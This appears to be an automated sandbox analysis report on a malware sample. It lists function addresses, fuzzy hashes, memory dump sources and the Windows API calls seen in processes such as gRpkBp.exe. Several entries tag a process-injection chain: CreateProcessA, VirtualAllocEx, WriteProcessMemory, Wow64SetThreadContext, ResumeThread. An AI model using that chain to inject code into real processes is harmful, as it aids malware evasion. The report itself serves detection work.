Instruction ID: d47a7a1bbfbd5f378228842f88bf1ae6b407dd5aa171556db603215fb1fba857
Opcode Fuzzy Hash: e8c65ee9314e9b5c810389eb7f53296128d24a393039dc4796ebd00797d4c32b
Instruction Fuzzy Hash: 04410274E10248CFCB04DFA9D594BEDBBF2BF49300F509129D409AB294DB745A46CF41

Function 022E1BD0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663664061.00000000022E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22e0000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca7b702a1f5a91cddfb9ce21dfb6272783bd959c63bee0391a32984dfbd96f9
Instruction ID: 51f2b998219e1be87a3553d9b52601bfd06a5875c1e1b06aa3295d981c1790f1
Opcode Fuzzy Hash: bca7b702a1f5a91cddfb9ce21dfb6272783bd959c63bee0391a32984dfbd96f9
Instruction Fuzzy Hash: 7941D074E10208CFCB04DFA9D594BEDBBF2BF89300F509129D409A7298DB745A46CF51

Function 001BD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663033050.00000000001BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1bd000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9146702ffaaeb88d35640a39ad2b9685f0e94721eb19a0c3fb85bdcb4cd7c3c
Instruction ID: 7a0771835053173259410ddda5b1ac4f9468a503779cbed15a035c92c20885f2
Opcode Fuzzy Hash: e9146702ffaaeb88d35640a39ad2b9685f0e94721eb19a0c3fb85bdcb4cd7c3c
Instruction Fuzzy Hash: 042104B1604344EFDB19DF24E8C4B66BB61FB84314F34C5A9F8494B246D73AD846CB61

Function 002024C5 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 328c6515f0986737bb3dd895e943e04e5f1e0d10b79cfc4ce7a3682e3f31f353
Instruction ID: 243c804c721f41826b27e933ea8060ce104f3acc382554264b9f8e23d7b1cf99
Opcode Fuzzy Hash: 328c6515f0986737bb3dd895e943e04e5f1e0d10b79cfc4ce7a3682e3f31f353
Instruction Fuzzy Hash: A031B778E11308CFCB44DFA4E58499DBBB6FF49300B60946AE809AB364D731AC55CF10

Function 0020E573 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b52d296efadfbb3c0159ea24a8a91224e2aa65f07ba27655d63e0b571fbcbb4f
Instruction ID: eedca9edb49fedc5006984b32e5e5aeea0d49274587e7985e37197944a2c739c
Opcode Fuzzy Hash: b52d296efadfbb3c0159ea24a8a91224e2aa65f07ba27655d63e0b571fbcbb4f
Instruction Fuzzy Hash: E9117274A102199FDF08DFA8D4C4AADFBB9FB98304F558925D804E7282D731A991CF10

Function 002022DD Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9dbd7f1084f631d09429400e8c16ae5cccd78cd72236a1635af90ceb7973d6
Instruction ID: 2ad92384e6615360d4787b410dd5cf2ea54fbbe65373f46685dcb237c0bdbc80
Opcode Fuzzy Hash: db9dbd7f1084f631d09429400e8c16ae5cccd78cd72236a1635af90ceb7973d6
Instruction Fuzzy Hash: B01103B0D14209CFCB01DFA8D8841EEBBB5BF4A300B5581A6D804B7255EB309A55CFA1

Function 002066CD Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 522bcf7bae8c1f986f580f48312a2e368707b67453b4147e5b4789c257c73b44
Instruction ID: 1f34ea9daccc3edfaf5e1eb3fda9d4776133399819bad7a06f37c4e9eb8ce2e7
Opcode Fuzzy Hash: 522bcf7bae8c1f986f580f48312a2e368707b67453b4147e5b4789c257c73b44
Instruction Fuzzy Hash: 66216DB4900209DFCB45EFA8D58179EBBF5FF85300F50C9AAD0149B269EB309A49CF81

Function 002066D0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e51467912721d35d47f8c5a8fc9e82d7e9ec36dec0cd60691ee8f672cc8e903
Instruction ID: f7e2670fca4fa8ff970fedd02992db9e298ffddfdc2fdf010809ce0a84d39298
Opcode Fuzzy Hash: 2e51467912721d35d47f8c5a8fc9e82d7e9ec36dec0cd60691ee8f672cc8e903
Instruction Fuzzy Hash: CF116DB49002099FCB45EFA8D58179EBBF5FF84300F50C9AAD0149B259EB309A498B81

Function 001BD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663033050.00000000001BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1bd000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: bbb16061b5219b204c079a3943cd2242c02ccf0e0fc7af38194d9b3a0d5bbb32
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 9611DD75504280CFDB16CF24D9C4B55BFA1FB84314F28CAADE8494B256C33AD84ACFA2

Function 00202320 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ed9d73fa2f3607a9e263a0e530033d32b99647bd6188dc3de733b95f5cba11
Instruction ID: bc7f5c386cc110020e1a07b9bb88163a7466dbffeb1ba1ffc4ca5a553b70495b
Opcode Fuzzy Hash: 94ed9d73fa2f3607a9e263a0e530033d32b99647bd6188dc3de733b95f5cba11
Instruction Fuzzy Hash: 2821CE74C142198FCB04EFA8D9845EEBBF4BF4A300F1492AAD804F3251EB305A95CFA1

Function 00205DCF Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.663083560.0000000000200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_200000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ef771a301ccf61ec9d4a6bb6c08f7dc9bd5112d98831af7c65c477a02a59c3
Instruction ID: 92750555c2cbd1660d53bd18bbc3c718144f344a626738f1e52d5b4fad2420b5
Opcode Fuzzy Hash: e7ef771a301ccf61ec9d4a6bb6c08f7dc9bd5112d98831af7c65c477a02a59c3
Instruction Fuzzy Hash: 17116D78D042499FCB02DFA4D8909AEBFB1FF4A300F4045A6D800E7365D7345A59CF91

Non-executed Functions

Function 022E2130 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PHp, xrefs: 022E266A
PHp, xrefs: 022E2575
PHp, xrefs: 022E2751
PHp, xrefs: 022E2765
PHp, xrefs: 022E2561
PHp, xrefs: 022E247D
", xrefs: 022E2906
PHp, xrefs: 022E2656
PHp, xrefs: 022E2469

Memory Dump Source

Source File: 00000014.00000002.663664061.00000000022E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22e0000_swagodi78811.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: 0cc9cc49b0a84f069b61d20012980b7e984988a24d80b52cf639c64f398885ae
Instruction ID: b937e2f03170d9e772a21a449d2604a950a06dd88c9a2a0d2d4103458e0464b5
Opcode Fuzzy Hash: 0cc9cc49b0a84f069b61d20012980b7e984988a24d80b52cf639c64f398885ae
Instruction Fuzzy Hash: AD32B274E00218CFDB68CFA5C954B9DBBB2BF89300F5085A9D80AAB355DB719E85DF10

Function 022E2121 Relevance: 11.6, Strings: 9, Instructions: 372COMMON

Download Yara Rule

Strings

PHp, xrefs: 022E266A
PHp, xrefs: 022E2575
PHp, xrefs: 022E2751
PHp, xrefs: 022E2765
PHp, xrefs: 022E2561
PHp, xrefs: 022E247D
", xrefs: 022E2906
PHp, xrefs: 022E2656
PHp, xrefs: 022E2469

Memory Dump Source

Source File: 00000014.00000002.663664061.00000000022E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_22e0000_swagodi78811.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: f1aa1d1539581a44ea1c79723843591ce55aff64fbdb59c83b6066451a1e078e
Instruction ID: 881eb6cf0d1c174c07015fbe54ae97b572b503fd29cd16b7e56f0a65958776ef
Opcode Fuzzy Hash: f1aa1d1539581a44ea1c79723843591ce55aff64fbdb59c83b6066451a1e078e
Instruction Fuzzy Hash: 5602B0B4E00218CFDB58DFA5C954B9DBBB2BF89300F1085A9D809AB365DB719E85CF50

Analysis Process: gRpkBp.exePID: 4016, Parent PID: 3888COMMON

Execution Graph

Execution Coverage:	17.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	89
Total number of Limit Nodes:	2

Executed Functions

Function 005916F4 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4442226c021e988481b3f7ae1afb6d0130e917bc7e2d946fc89ae57338bbaf7a
Instruction ID: 4d2008249007574f0c36815d3c4a77968ced582e2f9a1f94d3e6bb301bf6f6f3
Opcode Fuzzy Hash: 4442226c021e988481b3f7ae1afb6d0130e917bc7e2d946fc89ae57338bbaf7a
Instruction Fuzzy Hash: 7EA00202C9E82A808D405C5412014B5CC7C230F745EA07D20590F370030410C014240C

Function 0025E8AC Relevance: 1.8, APIs: 1, Instructions: 329
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0025EB7F

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5ebc4ade9f78128b47b5753f25353018266c2e10f09ef4d3cc5b8e104001f4ca
Instruction ID: 9d44b8b9a2f7c059da6bc875ebd990637658c6dbcf8fc8f20afe52d9f3fdc6b0
Opcode Fuzzy Hash: 5ebc4ade9f78128b47b5753f25353018266c2e10f09ef4d3cc5b8e104001f4ca
Instruction Fuzzy Hash: 3CC14870D1021A8FDF24CFA8C841BEDBBB1BF49305F0091AAD859B7250DB749A99CF95

Function 0025E8B8 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0025EB7F

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a86662c42aa8656ef18d02bf45ac67176fb5aa1d93244256db7377288187db63
Instruction ID: 221534f8819a2d38191b25a1a38f82c2c90f10f8740e14d13c2c2ee0dc1d6f21
Opcode Fuzzy Hash: a86662c42aa8656ef18d02bf45ac67176fb5aa1d93244256db7377288187db63
Instruction Fuzzy Hash: 56C13970D1021A8FDF24CFA8C841BEDBBB1BF09305F0091AAD859B7250DB749A99CF95

Function 0025E519 Relevance: 1.6, APIs: 1, Instructions: 121
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0025E5F3

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f362261846f86411cae89e6fe44fa361f3f90f1277dce458d9330b75bc66b675
Instruction ID: ce8110d120b4a443e2576f2682cbcfe6e6da8e089dd94f0ba9db5acaadd6271b
Opcode Fuzzy Hash: f362261846f86411cae89e6fe44fa361f3f90f1277dce458d9330b75bc66b675
Instruction Fuzzy Hash: A941BBB4D002589FCF04CFA9D984AEEFBF1BB49314F24902AE819B7210D335AA55CF64

Function 0025E520 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0025E5F3

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7ee08480c8d184b95002f11e9398543883eb003a10f609cdc8de982e4b352a26
Instruction ID: b41511c9be659125e07dc5b7613a85a527e66096a0c9444f40a10fb3fd7d76c0
Opcode Fuzzy Hash: 7ee08480c8d184b95002f11e9398543883eb003a10f609cdc8de982e4b352a26
Instruction Fuzzy Hash: 1741A9B4D002589FCF04CFA9D984AEEFBF1BB49314F20942AE814B7210D335AA55CF68

Function 0025E678 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0025E732

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4d06031e1ad977f7d30b75159ae51e200b9e68b564ee4f4c66147dcd72682db1
Instruction ID: 6a133adcdb2bd530d347e69879900071b89e3b06486f112e9c553c81506f5c17
Opcode Fuzzy Hash: 4d06031e1ad977f7d30b75159ae51e200b9e68b564ee4f4c66147dcd72682db1
Instruction Fuzzy Hash: 4D41BBB5D002589FCF14CFA9D984AEEFBB1BF49310F24942AE815B7200D735A956CF64

Function 0025E680 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0025E732

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 858b9af8bf9bf6bb85213a47aa5f7a0cb5cdabd143fc43b246ccdb5b115dad4a
Instruction ID: 446a216b33a513a515f6b92740b958c9ed8898b2a477a3fef6cd1da53f10cb49
Opcode Fuzzy Hash: 858b9af8bf9bf6bb85213a47aa5f7a0cb5cdabd143fc43b246ccdb5b115dad4a
Instruction Fuzzy Hash: 4E41BCB4D002589FCF14CFA9D884AEEFBB1BF49310F20942AE814B7200D735A955CF68

Function 0025E3F1 Relevance: 1.6, APIs: 1, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0025E4A2

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4b260f8e42b7e95547620231538d25d5c71e454eecb8ddc948ce3620a0202dd5
Instruction ID: 55028e16d4402585e0938ddd07c86b51cbb3bf6fc5f65052a23b7819fc471625
Opcode Fuzzy Hash: 4b260f8e42b7e95547620231538d25d5c71e454eecb8ddc948ce3620a0202dd5
Instruction Fuzzy Hash: 6041B8B4D002589BCF10CFA9D980AAEFBB1BF49310F20902AE814BB300C335A955CF69

Function 0025E3F8 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0025E4A2

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 11719ea52ee5ac7b51af1aa0e552c81daa4e4275e7c31c873d97289516948599
Instruction ID: 9913fa32e5d2fe2a77929db767f0d03f1e8014a0bd4ebe9aa9afa0659e119326
Opcode Fuzzy Hash: 11719ea52ee5ac7b51af1aa0e552c81daa4e4275e7c31c873d97289516948599
Instruction Fuzzy Hash: 4941A9B4D002589BCF10CFA9D984AAEFBB1BF49310F10942AE814B7300D735A955CF69

Function 0025E2C1 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0025E377

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6acb485bfc17d468e4506e147325727b9fdc5f91f75add18290ba833a88185bf
Instruction ID: b9a9740d3987e664dadc2cd79b7288afe0acb86d4545f7f0fdd746065d71c05e
Opcode Fuzzy Hash: 6acb485bfc17d468e4506e147325727b9fdc5f91f75add18290ba833a88185bf
Instruction Fuzzy Hash: 8041B0B4D102589FCF14CFA9D884AEEFBB1BF49314F14806AE814B7240D7759A49CF54

Function 0025E2C8 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0025E377

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f73de14120338ce4994d99aa28d260e929f98b2cfb8f2d256d52b710c7095d4f
Instruction ID: bde7b956455ac52f5379085621b57c185511c5c826f06906a1ed6c68ce752b25
Opcode Fuzzy Hash: f73de14120338ce4994d99aa28d260e929f98b2cfb8f2d256d52b710c7095d4f
Instruction Fuzzy Hash: A541AFB4D102589FCF14CFAAD884AEEFBB1BF49314F14842AE814B7240D7759A49CF54

Function 0025DD98 Relevance: 1.6, APIs: 1, Instructions: 78
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0025DE1E

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6400bcce3da7f26be6532b2ed6bb8256104429d7aeeb55dba127a543fa0d6b66
Instruction ID: 54f50f1f2b4be5f5383b8010a7e3053133202bf25a9aee96ebe40976d6fbcbe9
Opcode Fuzzy Hash: 6400bcce3da7f26be6532b2ed6bb8256104429d7aeeb55dba127a543fa0d6b66
Instruction Fuzzy Hash: CD31CAB4D102089FCF10CFA9E885AEEFBB5AF49314F24942AE815B7340C735A945CF98

Function 0025DDA0 Relevance: 1.6, APIs: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0025DE1E

Memory Dump Source

Source File: 00000016.00000002.427633647.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_250000_gRpkBp.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e0e7a65f9bba50c44a3872b91096ad3bf11d4d72d2e4ffad55d027c22403a233
Instruction ID: 34db04ab341d7392c3eb5b8c37bcc97a58ce25642d2602c1ef3cef8831bfa8ea
Opcode Fuzzy Hash: e0e7a65f9bba50c44a3872b91096ad3bf11d4d72d2e4ffad55d027c22403a233
Instruction Fuzzy Hash: 2531BCB4D102189FCF10CFA9E985AAEFBB5AF49314F14942AE815B7300C735A945CF98

Function 00590D2A Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9cb5177fe5b13a7e25da29b3b00c7d5a113b3597cca56b86c0bfa2df47acab6
Instruction ID: 2f781ddca80b7582080205aac56f63dc68bc61d62b1602a420e89a0e7b4a6b00
Opcode Fuzzy Hash: a9cb5177fe5b13a7e25da29b3b00c7d5a113b3597cca56b86c0bfa2df47acab6
Instruction Fuzzy Hash: FA41E6B8A05259CFCF04DFA8D5909ADFBB5FF4D304F24A955E419A7286C730A841CBA0

Function 00590CF7 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4167fd27cc877484240d0a13c5c7d12bf3bc31bd46fb795a38f5f0dc79ebd856
Instruction ID: aa2c4ecce6a0306920d7a7d2969d77392c0e9be7b2d7271cba8e1c8035464038
Opcode Fuzzy Hash: 4167fd27cc877484240d0a13c5c7d12bf3bc31bd46fb795a38f5f0dc79ebd856
Instruction Fuzzy Hash: 2141A1B8A05259CFCB44DFA9D5949ADFFB2FF48304F24A959E819A7246C730A841CB50

Function 0020D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427589064.000000000020D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0020D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_20d000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7415f959f2207d3e8fe1d170a4f9daa3fb49a8cff32d6124f2148eb50140fe9
Instruction ID: c9e556b25799056552f122b4e1096346ead389ec815d331bcdec8588690fb661
Opcode Fuzzy Hash: a7415f959f2207d3e8fe1d170a4f9daa3fb49a8cff32d6124f2148eb50140fe9
Instruction Fuzzy Hash: F621F2B5625340EFDB01CF94D9C0B26BBA1FB84314F24C5A9EC494B287C376D866CB61

Function 0020D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427589064.000000000020D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0020D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_20d000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ab75ddd04dfceca6ce20f7c5ebd51376ab3eb057a513b223b7ad1f11316134
Instruction ID: db842458e867606461db0e1d4a97861f36bc254c47f63b86c6d839507a1d46c4
Opcode Fuzzy Hash: c8ab75ddd04dfceca6ce20f7c5ebd51376ab3eb057a513b223b7ad1f11316134
Instruction Fuzzy Hash: 2C2100B5614340EFDB11CF64D8C0B26BB62EB84314F20C569E84D4B287C376D81BCBA1

Function 00591414 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cead8869390632af6ffab88089e0c8a76fd3ff7a8328aef14081ad9e551b7ee
Instruction ID: cb7e623804dd8fb0002e2f4229f311ae23be501545e3b0f2cacf758205514a35
Opcode Fuzzy Hash: 7cead8869390632af6ffab88089e0c8a76fd3ff7a8328aef14081ad9e551b7ee
Instruction Fuzzy Hash: 7A310774D4522ADFDB24DF64C840BECBBB5BB48300F1041EAD50AA7284DB309A85DF40

Function 005900AA Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 198f432658f4a20b4ada3f304cf1051272a46f7a8b179afa2d0af1f7369f0561
Instruction ID: 74d0db28e6ab030549e25bf53e26f635bfc2bbdf7b045f3e5599ec7097e9e53a
Opcode Fuzzy Hash: 198f432658f4a20b4ada3f304cf1051272a46f7a8b179afa2d0af1f7369f0561
Instruction Fuzzy Hash: 5631C274E013089FDF15EFA4C854AAEBBB2FB89301F208159D80A6B399DB315D42CF90

Function 00591A3B Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfcafbfbe90f94559ae0b434982a5642cc911b4622af106f5e7654619fa73c0
Instruction ID: 271ed2ef4e37b9eb70f1a265f5e07d2ed66b126339678cdcac0010ec93263e67
Opcode Fuzzy Hash: 8cfcafbfbe90f94559ae0b434982a5642cc911b4622af106f5e7654619fa73c0
Instruction Fuzzy Hash: 0A31F378904629CFCF64CF64C954BE8BBB5BB49311F1085EAC40EA7291D7309AC5CF54

Function 00590040 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.427815159.0000000000590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_590000_gRpkBp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7390f163a7beca459959b015798909e4c7bf85df83ab76c1d70d07014e08b446
Instruction ID: 4444858f2ecb9e4dd62daee07230a4bf0d7c75ea848e82b9f2032f061d9b9d2a
Opcode Fuzzy Hash: 7390f163a7beca459959b015798909e4c7bf85df83ab76c1d70d07014e08b446
Instruction Fuzzy Hash: 4F112970D04208DFCF08DFAAD8846AEBBF6BF88300F10982AE805B7351DB7048018B51

Function 0020D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

